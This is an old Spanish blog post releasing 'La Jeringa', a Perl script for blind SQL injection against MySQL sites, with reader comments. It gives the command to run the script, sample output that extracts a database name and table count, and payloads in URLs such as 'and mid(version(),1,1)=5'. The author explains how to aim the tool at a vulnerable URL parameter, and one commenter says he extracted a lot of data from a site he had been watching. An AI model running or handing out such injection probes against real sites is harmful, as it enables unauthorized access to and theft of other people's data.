viernes, mayo 20, 2011

La Jeringa ve la luz...

Hace un tiempo ya desde que comentaba acerca de esta herramienta... y bueno, la estaba preparando para que viera la luz junto con el manualito de blind sql injection, pero ultimamente les he quedado pendiente con el tiempo para poder terminarlo y ya le debia esta herramienta a un amigo por ahi, asi que por aca les dejo la jeringa que no es mas que una prueba del concepto atras de blind sql injection, un script hecho en perl y por el momento esto es lo unico que hace (no esperen mucho, esta muy beta):

- Comprueba si existe vulnerabilidad, esto lo hace mediante hash utilizando la funcion en linux md5sum.
- Verifica la version de base de datos MySql (si es 4 o 5, ya que solo continua si es 5).
- Si la version es 5 procede a hacer las peticiones a ciegas para obtener: Longitud del nombre de la BD, nombre de la BD y cantidad de tablas en la BD.

Sencillo... pero encierra la tecnica a utilizar para seguir obteniendo mas informacion, asi como tambien hace uso del proceso de booleanizacion para evitar una cantidad enorme de peticiones.

Espero luego ampliar un poco mas sobre el tema, por el momento ahi se las dejo... como usarla?


srivera@BlackAvenger:~/Escritorio$ perl jeringa.pl "http://www.###./?art=1234"
Obteniendo hashes...
Hash verdadero: 6f337c327ce461481c36b628613300b2
Hash falso: 3db42bb78dc0eb0c61468d6e20e1b5cd
Hashes son diferentes, posible vulnerabilidad de inyeccion
-----
Obteniendo version de BD...
Version 5 de MySQL, excelente obtengamos mas información!
-----
Obteniendo longitud del nombre de la BD...1,2,3,4,5,6,7,8,9
El nombre de la BD tiene 9 caracteres

Obteniendo el nombre de la BD...
#########
-----

Obteniendo cantidad de tablas que tiene la BD...1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28
La BD tiene 28 tablas


Al final genera un archivo log con todas las pruebas que realizo para su posterior estudio.

Saludos y que la disfruten, cualquier comentario o critica sera bien recibida!!!

**Editado**
Recomiendo las lecturas anteriores:

Injeccion SQL Basico I/II

Injeccion SQL Basico II/II

6 comentarios:

LF dijo...

tiempo tiempo, es para ejecutarlo local? o si alguna DB tiene el puerto abierto publicamente tambien furulas?

ciskosv dijo...

@LF es para injecciones SQL a ciegas.. lo que haces es buscar una dirección web del tipo: http://www.vulnerable.com/index.php?variablevulnerable=1234

Donde variablevulnerable es la variable (redundando) que es vulnerable a la inyeccion... entonces ejecutas:

perl jeringa.pl "http://www.vulnerable.com/index.php?variablevulnerable=1234"

y deja que haga su magia... pero lo primero es encontrar la variable vulnerable...

Saludos!

ciskosv dijo...

Se me escapaba.. es exclusivamente para MYSQL... salud!

TuxRacer @ SV dijo...

La jeringa es como que el éxito, como dices, es casi mágica!!! =D

A pesar que obtuve muuuchos datos de un sitio que tenía "vigiado" que es vulnerable a "Blind SQL-i" es una verdadera fuente didáctica, todo un cúmulo de conocimientos.

Desde iniciarme a conocer perl (el código está muy intuitivo, que a pesar que no conozco de perl, está para mi en un 70% leíble), luego hasta ver cómo funciona propiamente la jeringa.

Tengo mucho que aprender del Antiguo Camaleón y también qué aprender por si mismo. =)

(Todo por el arte de explorar, intentar, fallar, volver a intentar, aprender y ganar conocimiento!)

Gracias por este aporte CiskoSV! Se le agradece mucho!

Salud!!! :o)

TuxRacer @ SV dijo...

Obteniendo version de BD...
http://www.sitio-vulnerable-a-blind.com/index.php?id=58901 and mid(version(),1,1)=4
http://www.sitio-vulnerable-a-blind.com/index.php?id=58901 and mid(version(),1,1)=5

Version 5 de MySQL, excelente obtengamos mas información!

Simplemente, GENIAL!!! =D

ciskosv dijo...

@TuxRacer: Veo que ya le sacastes buen uso... aunque le falta mucho, en el codigo puedes ver que intente dejarlo lo mas modular posible, inclusive ya te acepta algunas variables... pero todavia le falta mucho... me alegro te haya servido de algo! saludos, luego vuelvo con mas tiempo para dejar el manualito correspondiente.